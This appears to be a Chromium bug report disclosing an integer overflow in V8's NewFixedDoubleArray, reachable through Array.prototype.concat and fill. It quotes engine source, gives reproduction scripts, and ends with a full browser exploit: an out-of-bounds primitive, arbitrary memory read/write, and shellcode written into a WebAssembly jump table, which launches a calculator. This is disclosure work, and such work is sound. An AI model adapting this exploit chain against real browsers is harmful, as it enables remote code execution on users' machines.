1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 |
VULNERABILITY DETAILS https://cs.chromium.org/chromium/src/v8/src/heap/factory.cc?rcl=dd689541d3815d64b4b39f6a41603248c71aa00e&l=496 Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length, PretenureFlag pretenure) { DCHECK_LE(0, length); if (length == 0) return empty_fixed_array(); if (length > FixedDoubleArray::kMaxLength) { // ***1*** isolate()->heap()->FatalProcessOutOfMemory("invalid array length"); } int size = FixedDoubleArray::SizeFor(length); // ***2*** Map map = *fixed_double_array_map(); HeapObject result = AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned); Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate()); array->set_length(length); return array; } https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=933508f981a984b7868d70c3adb781783e5aa32d&l=1183 Object Slow_ArrayConcat(BuiltinArguments* args, Handle<Object> species, Isolate* isolate) { [...] uint32_t estimate_result_length = 0; uint32_t estimate_nof = 0; FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < argument_count, i++, { Handle<Object> obj = args->at(i); uint32_t length_estimate; uint32_t element_estimate; if (obj->IsJSArray()) { Handle<JSArray> array(Handle<JSArray>::cast(obj)); length_estimate = static_cast<uint32_t>(array->length()->Number()); if (length_estimate != 0) { ElementsKind array_kind = GetPackedElementsKind(array->GetElementsKind()); kind = GetMoreGeneralElementsKind(kind, array_kind); } element_estimate = EstimateElementCount(isolate, array); } else { [...] } // Avoid overflows by capping at kMaxElementCount. if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { // ***3*** estimate_result_length = JSObject::kMaxElementCount; } else { estimate_result_length += length_estimate; } if (JSObject::kMaxElementCount - estimate_nof < element_estimate) { estimate_nof = JSObject::kMaxElementCount; } else { estimate_nof += element_estimate; } }); // If estimated number of elements is more than half of length, a // fixed array (fast case) is more time and space-efficient than a // dictionary. bool fast_case = is_array_species && (estimate_nof * 2) >= estimate_result_length && isolate->IsIsConcatSpreadableLookupChainIntact(); // ***4*** if (fast_case && kind == PACKED_DOUBLE_ELEMENTS) { Handle<FixedArrayBase> storage = isolate->factory()->NewFixedDoubleArray(estimate_result_length); // ***5*** [...] https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=1378 MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate, BuiltinArguments* args) { [...] int result_len = 0; { DisallowHeapAllocation no_gc; // Iterate through all the arguments performing checks // and calculating total length. for (int i = 0; i < n_arguments; i++) { Object arg = (*args)[i]; if (!arg->IsJSArray()) return MaybeHandle<JSArray>(); if (!HasOnlySimpleReceiverElements(isolate, JSObject::cast(arg))) { return MaybeHandle<JSArray>(); } // TODO(cbruni): support fast concatenation of DICTIONARY_ELEMENTS. if (!JSObject::cast(arg)->HasFastElements()) { return MaybeHandle<JSArray>(); } Handle<JSArray> array(JSArray::cast(arg), isolate); if (!IsSimpleArray(isolate, array)) { // ***6*** return MaybeHandle<JSArray>(); } // The Array length is guaranted to be <= kHalfOfMaxInt thus we won't // overflow. result_len += Smi::ToInt(array->length()); DCHECK_GE(result_len, 0); // Throw an Error if we overflow the FixedArray limits if (FixedDoubleArray::kMaxLength < result_len || /// ***7*** FixedArray::kMaxLength < result_len) { AllowHeapAllocation gc; THROW_NEW_ERROR(isolate, NewRangeError(MessageTemplate::kInvalidArrayLength), JSArray); } } } return ElementsAccessor::Concat(isolate, args, n_arguments, result_len); } https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=244 BUILTIN(ArrayPrototypeFill) { [...] // 2. Let len be ? ToLength(? Get(O, "length")). double length; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, length, GetLengthProperty(isolate, receiver)); // ***8*** // 3. Let relativeStart be ? ToInteger(start). // 4. If relativeStart < 0, let k be max((len + relativeStart), 0); //else let k be min(relativeStart, len). Handle<Object> start = args.atOrUndefined(isolate, 2); double start_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***9*** // 5. If end is undefined, let relativeEnd be len; //else let relativeEnd be ? ToInteger(end). // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0); //else let final be min(relativeEnd, len). Handle<Object> end = args.atOrUndefined(isolate, 3); double end_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, end_index, GetRelativeIndex(isolate, length, end, length)); [...] if (TryFastArrayFill(isolate, &args, receiver, value, start_index, end_index)) { https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=d8b0d88de4b7d73ea02abb8511c146944d6ccf67&l=2244 static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) { // Ensure indexes are within array bounds DCHECK_LE(0, start); DCHECK_LE(start, end); // Make sure COW arrays are copied. if (IsSmiOrObjectElementsKind(Subclass::kind())) { JSObject::EnsureWritableFastElements(receiver); } // Make sure we have enough space. uint32_t capacity = Subclass::GetCapacityImpl(*receiver, receiver->elements()); if (end > capacity) { Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***10*** CHECK_EQ(Subclass::kind(), receiver->GetElementsKind()); } |NewFixedDoubleArray| doesn't expect the |length| argument to be negative (there's even a DCHECK for that), as it would pass the maximum length check[1] and cause an integer overflow when computing the size of the backing store[2]. The undersized backing store then might be used for out-of-bounds access. It turns out there are at least two methods that allow passing negative values to |NewFixedDoubleArray|. 1. Concat The implementation of |Array.prototype.concat| in V8 has quite a few fast code paths that deal with different kinds of arguments. The structure roughly looks like: +------------------+ || +--------------> Fast_ArrayConcat | ||| |+------------------+*********************** +-------------+* * | | +----------------> packed double array * | ArrayConcat | |* * | | |*********************** +-------------+ | |+------------------++---------------------+ |||| | +--------------> Slow_ArrayConcat | +------------------> fixed array storage | || || | +------------------+ |+---------------------+ | | |+---------------------+ +---------------------+ || | | | +----------------> ArrayConcatVisitor+-------> dictionary storage| | | | | +---------------------+ +---------------------+ | |+---------------------+ || | +------------------> JSReceiver storage| | | +---------------------+ The relevant code path for this issue is the packed double array case inside |Slow_ArrayConcat|. The method uses an unsigned variable for computing the result array length and caps it at |kMaxElementCount|[3], i.e., at 0xffffffff. Then the value of the variable gets converted to a *signed* type and passed to |NewFixedDoubleArray|[5] provided that the |fast_case| condition is satisfied[4], and the estimated array type is PACKED_DOUBLE. Thus, any value in the range [0x80000000, 0xffffffff] could pass the length check and trigger the overflow. That still means an attacker has to make the method iterate through more than two billion array elements, which might seem implausible; actually, the whole process takes just a couple of seconds on a modern machine and has moderate memory requirements because multiple arguments can refer to the same array. Also, |ArrayConcat| calls |Fast_ArrayConcat| in the beginning, and the fast method has a more strict length check, which might throw an error when the result length is more than |FixedDoubleArray:: kMaxLength|[7]. So, the attacker has to make |Fast_ArrayConcat| return early without triggering the error. The easiest way to achieve that is to define an additional property on the array. REPRODUCTION CASE: <script> const MB = 1024 * 1024, block_size = 32 * MB; array = Array(block_size).fill(1.1); array.prop = 1; args = Array(2048 * MB / block_size - 2).fill(array); args.push(Array(block_size)); array.concat.apply(array, args); </script> 2. Fill The bug in |concat| allows writing data beyond the bounds of an array, but it's difficult to limit the size of the OOB data to a sane value, which makes the exploitation primitive less useful. So, I've spent some time looking for variants of the issue, and found one in |Array.prototype.fill|. |ArrayPrototypeFill| initially obtains the length of an array[8] and uses that value to limit the |start| and |end| arguments. However, a later call to |GetRelativeIndex|[9] might trigger a user-defined JS function, which could modify the length. Usually, that's enough to cause OOB access, so |FastElementsAccessor::FillImpl| double-checks that the capacity of the array is not less than |end| and might call |GrowCapacityAndConvertImpl|[10], which in turn might call |NewFixedDoubleArray|. The issue here is that there's no check that |end| is small enough to fit in a signed type; therefore the same overflow leading to the allocation of an undersized backing store could occur. REPRODUCTION CASE: <script> array = []; array.length = 0xffffffff; b = array.fill(1.1, 0, {valueOf() { array.length = 32; array.fill(1.1); return 0x80000000; }}); </script> Exploitation: Unlike |concat|, |fill| conveniently allows limiting the size of the OOB block by modifying the |start| argument. The exploit forces the method to return an array whose length value is bigger than the actual size of the backing store, which is essentially a ready-to-use OOB read/write exploitation primitive. The rest is just copied from https://crbug.com/931640. <script> let data_view = new DataView(new ArrayBuffer(8)); reverseDword = dword => { data_view.setUint32(0, dword, true); return data_view.getUint32(0, false); } reverseQword = qword => { data_view.setBigUint64(0, qword, true); return data_view.getBigUint64(0, false); } floatAsQword = float => { data_view.setFloat64(0, float); return data_view.getBigUint64(0); } qwordAsFloat = qword => { data_view.setBigUint64(0, qword); return data_view.getFloat64(0); } let oob_access_array; let ptr_leak_object; let arbirary_access_array; let ptr_leak_index; let external_ptr_index; let external_ptr_backup; const MARKER = 0x31337; leakPtr = obj => { ptr_leak_object[0] = obj; return floatAsQword(oob_access_array[ptr_leak_index]); } getQword = address => { oob_access_array[external_ptr_index] = qwordAsFloat(address); return arbirary_access_array[0]; oob_access_array[external_ptr_index] = external_ptr_backup; } setQword = (address, value) => { oob_access_array[external_ptr_index] = qwordAsFloat(address); arbirary_access_array[0] = value; oob_access_array[external_ptr_index] = external_ptr_backup; } getField = (object_ptr, num, tagged = true) => object_ptr + BigInt(num * 8 - (tagged ? 1 : 0)); setBytes = (address, array) => { for (let i = 0; i < array.length; ++i) { setQword(address + BigInt(i), BigInt(array[i])); } } triggerOob = () => { array = []; array.length = 0xffffffff; ptr_leak_object = {}; arbirary_access_array = new BigUint64Array(1); oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() { array.length = 32; array.fill(1.1); return 0x80000000; }}); ptr_leak_object[0] = MARKER; arbirary_access_array.buffer; } findOffsets = () => { let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n); for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length; ++ptr_leak_index) { if (oob_access_array[ptr_leak_index] === markerAsFloat) { break; } } let oneAsFloat = qwordAsFloat(1n << 32n); for (external_ptr_index = 2; external_ptr_index < oob_access_array.length; ++external_ptr_index) { if (oob_access_array[external_ptr_index - 2] === oneAsFloat && oob_access_array[external_ptr_index - 1] === 0) { break; } } if (ptr_leak_index === oob_access_array.length || external_ptr_index === oob_access_array.length) { throw alert("Couldn't locate the offsets"); } external_ptr_backup = oob_access_array[external_ptr_index]; } runCalc = () => { const wasm_code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x0b ]); const wasm_instance = new WebAssembly.Instance( new WebAssembly.Module(wasm_code)); const wasm_func = wasm_instance.exports.a; const shellcode = [ 0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32, 0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56, 0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00 ]; wasm_instance_ptr = leakPtr(wasm_instance); const jump_table = getQword(getField(wasm_instance_ptr, 33)); setBytes(jump_table, shellcode); wasm_func(); } triggerOob(); findOffsets(); runCalc(); </script> VERSION Google Chrome 72.0.3626.121 (Official Build) (64-bit) Google Chrome 74.0.3725.0 (Official Build) canary I'd recommend changing |NewFixedDoubleArray| so it throws an OOM error on negative values, the same way as the similar |AllocateRawFixedArray| function currently does. |